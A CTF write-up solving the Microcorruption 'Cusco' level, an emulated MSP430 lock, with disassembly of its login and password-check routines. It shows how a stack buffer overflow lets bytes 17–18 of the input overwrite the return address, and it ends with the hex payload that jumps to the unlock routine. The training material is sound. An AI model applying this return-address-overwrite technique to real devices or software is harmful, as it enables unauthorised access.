This is a write-up of my solution to the Microcorruption CTF challenge "Cusco" (LOCKIT PRO r b.02).
This version claims to fix the conditional flag overwrite issue that we exploited in the last challenge:
This is Software Revision 02. We have improved the security of the
lock by removing a conditional flag that could accidentally get
set by passwords that were too long.
This indeed appears to be the case. Let's check out the entire program and then see if we can figure out what's going on:
4438 <main>
4438: b012 0045 call #0x4500 <login>
All main() does is make a call to login().
4500 <login>
4500: 3150 f0ff add #0xfff0, sp
4504: 3f40 7c44 mov #0x447c "Enter the password to continue.", r15
4508: b012 a645 call #0x45a6 <puts>
450c: 3f40 9c44 mov #0x449c "Remember: passwords are between 8 and 16 characters.", r15
4510: b012 a645 call #0x45a6 <puts>
4514: 3e40 3000 mov #0x30, r14
4518: 0f41 mov sp, r15
451a: b012 9645 call #0x4596 <getsn>
451e: 0f41 mov sp, r15
4520: b012 5244 call #0x4452 <test_password_valid>
4524: 0f93 tst r15
4526: 0524 jz #0x4532 <login+0x32>
4528: b012 4644 call #0x4446 <unlock_door>
452c: 3f40 d144 mov #0x44d1 "Access granted.", r15
4530: 023c jmp #0x4536 <login+0x36>
4532: 3f40 e144 mov #0x44e1 "That password is not correct.", r15
4536: b012 a645 call #0x45a6 <puts>
453a: 3150 1000 add #0x10, sp
453e: 3041 ret
After a few calls to puts() to print out the password prompt message, the code makes a call to test_password_valid(). Upon returning, login() tests the value of r15 (at 0x4524). If r15 is not 0, we skip the jz instruction at 0x4526 and proceed to unlock_door(). Let's pay attention to r15 while test_password_valid() is executing...
4452 <test_password_valid>
4452: 0412 push r4
4454: 0441 mov sp, r4
4456: 2453 incd r4
4458: 2183 decd sp
445a: c443 fcff mov.b #0x0, -0x4(r4)
445e: 3e40 fcff mov #0xfffc, r14
4462: 0e54 add r4, r14
4464: 0e12 push r14
4466: 0f12 push r15
4468: 3012 7d00 push #0x7d
446c: b012 4245 call #0x4542 <INT>
4470: 5f44 fcff mov.b -0x4(r4), r15
4474: 8f11 sxt r15
4476: 3152 add #0x8, sp
4478: 3441 pop r4
447a: 3041 ret
After shifting values inside of various registers/memory, the instruction mov.b -0x4(r4), r15 eventually sets a 0 value into r15. The instruction sxt r15 (sign extend) is executed on r15 (effectively doing nothing since the value is 0x0), and soon returns back into login(), where r15 is tested against 0. It does not appear that we have any influence over the memory address that's moved into r15.
After racking my brain for a while and continuously stepping through various parts of the program, I noticed something interesting...
This version of the code isn't storing our input at 0x2400 as it was originally, and instead is much closer to the program counter! Notice how close our user input (AAAAAAAAAA) is to pc. Let's try a bunch of A's and see what happens...
Looks like we can overwrite it. Another interesting thing to note: I tried to input about 200 or so A's, but only 48 were copied onto the stack. However, this is somewhat moot because of what happens as a result of inputting so many bytes...
We can control the pc register. Now all we need to do is figure out the byte offset to reach pc and a suitable location to jump to. After some experimenting with input strings of various lengths and keeping an eye on the pc register, we can see that the 17th and 18th byte of our input will overflow into the pc register. Let's try overwriting pc with 0x4528, the call #0x4446 <unlock_door> instruction inside login() which comes right after the jz instruction we were trying so hard to bypass...
414141414141414141414141414141412845